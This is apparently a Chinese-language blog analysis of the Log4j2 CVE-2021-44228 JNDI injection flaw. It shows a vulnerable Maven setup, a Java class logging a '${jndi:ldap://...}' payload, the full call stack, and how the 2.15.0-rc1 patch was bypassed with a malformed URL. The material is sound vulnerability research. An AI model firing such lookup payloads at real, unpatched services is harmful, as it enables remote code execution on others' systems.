目录

CVE-2021-44228 Apache Log4j2 RCE 简单分析

简介

Apache Log4j2 是 Apache 软件基金会下的一个开源的基于 Java 的日志记录工具。Log4j2 是一个 Log4j 1.x 的重写,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。由于其优异的性能而被广泛的应用于各种常见的 Web 服务中。

影响版本

Apache Log4j2 <=2.14.1

环境搭建

创建一个maven项目,pox.xml文件内容为以下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>log4j-rce</artifactId>
    <version>1.0-SNAPSHOT</version>
    <dependencies>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.1</version>
        </dependency>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.14.1</version>
        </dependency>
    </dependencies>
</project>

然后创建一个类,类内容如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class log4j {
    private static final Logger logger = LogManager.getLogger(log4j.class);

    public static void main(String[] args) {
        logger.error("${jndi:ldap://127.0.0.1/}");
    }
}

漏洞分析

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/f12df3e9-dfee-a8c7-24f6-4c561f1c89f5.png

其中System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");是为了绕过本地jdk限制,否则无法弹出计算器,详情可参考:https://y4er.com/post/attack-java-jndi-rmi-ldap-2/ 调用堆栈如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
lookup:172, JndiManager (org.apache.logging.log4j.core.net)
lookup:56, JndiLookup (org.apache.logging.log4j.core.lookup)
lookup:221, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1110, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:1033, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)
format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)
toSerializable:344, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
toText:244, PatternLayout (org.apache.logging.log4j.core.layout)
encode:229, PatternLayout (org.apache.logging.log4j.core.layout)
encode:59, PatternLayout (org.apache.logging.log4j.core.layout)
directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)
callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config)
callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config)
callAppender:84, AppenderControl (org.apache.logging.log4j.core.config)
callAppenders:540, LoggerConfig (org.apache.logging.log4j.core.config)
processLogEvent:498, LoggerConfig (org.apache.logging.log4j.core.config)
log:481, LoggerConfig (org.apache.logging.log4j.core.config)
log:456, LoggerConfig (org.apache.logging.log4j.core.config)
log:63, DefaultReliabilityStrategy (org.apache.logging.log4j.core.config)
log:161, Logger (org.apache.logging.log4j.core)
tryLogMessage:2205, AbstractLogger (org.apache.logging.log4j.spi)
logMessageTrackRecursion:2159, AbstractLogger (org.apache.logging.log4j.spi)
logMessageSafely:2142, AbstractLogger (org.apache.logging.log4j.spi)
logMessage:2017, AbstractLogger (org.apache.logging.log4j.spi)
logIfEnabled:1983, AbstractLogger (org.apache.logging.log4j.spi)
error:740, AbstractLogger (org.apache.logging.log4j.spi)
main:11, log4j

堆栈过长不在一一分析,直接进入到org.apache.logging.log4j.core.pattern.MessagePatternConverter#format

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/b9e8c5cd-a5e9-3be2-4eba-02661115cc45.png

该方法会对日志内容进行解析和格式化,并返回最终格式化后的日志内容,if判断字符是否为$,并且下一个字符是否为{,当符合时substring进行截取,接下来replace进行替换,此时可以发现,该变量可控

接下来进入org.apache.logging.log4j.core.lookup.StrSubstitutor#replace

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/8455f5f6-9cf2-eebf-1336-7d3a2364f74f.png

首先会判断source是否为空值,然后进入到substitute方法中

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/0d61972f-d996-48ec-3d6b-6fcb8de78d28.png

在该方法中会进行一系列的字符判断后,会传入到resolveVariable

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/e2072457-97b9-2017-6452-d682fa843e84.png

传入到这里时,StrSubstitutor会将{}中的内容提取出来,传递给org.apache.logging.log4j.core.lookup.Interpolator#lookup实现Lookup功能

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/92cf8de5-d08a-3fd1-e4c6-a5a4b77c86ed.png

参数传进来后,会对:前的内容截取,而在Interpolator类中的strLookupMap中存有Lookup功能实现类,然后会根据截取的内容进行相应的调用,此时会根据截取后的jndi调用org.apache.logging.log4j.core.lookup.JndiLookup#lookup

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/e65cd07b-5c62-25c3-eb04-cca8f55fe4e1.png

lookup中会创建一个JndiManager对象,然后会进入到org.apache.logging.log4j.core.net.JndiManager#lookup

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/e895ba87-5185-4f9d-ffc0-fc7429ee089d.png

在创建JndiManager对象时,会创建一个新的InitialContext实例,该实例会保存在context

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/34bbef0e-dd8f-0a66-c434-5299b0ce19dd.png

最后在JndiManager#lookup中造成JNDI注入

rc1绕过

官方第一次发布了log4j-2.15.0-rc1 安全更新包,存在在开启Lookup配置时,可以被绕过 在 2.15.0-rc1的更新包中,默认不开启Lookup功能,并且使用SimpleMessagePatternConverter进行消息的格式化处理,不会解析其中的${}关键字,其次是在JndiManager#lookup中添加了白名单限制, 不过因为在lookup函数中进行判断时,由于校验逻辑错误,在catch异常后没有进行return返回,导致可以利用URISyntaxException异常来绕过lookup,例如在url中加入空格,在后续的版本中已被修复

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/76c0ec10-2cad-b89b-b98d-df5e16585ef5.png

参考链接

  1. https://websecuritys.cn/archives/log4j2-rce.html#
  2. https://tttang.com/archive/1378/
  3. https://paper.seebug.org/1789/#0x06-2150-rc1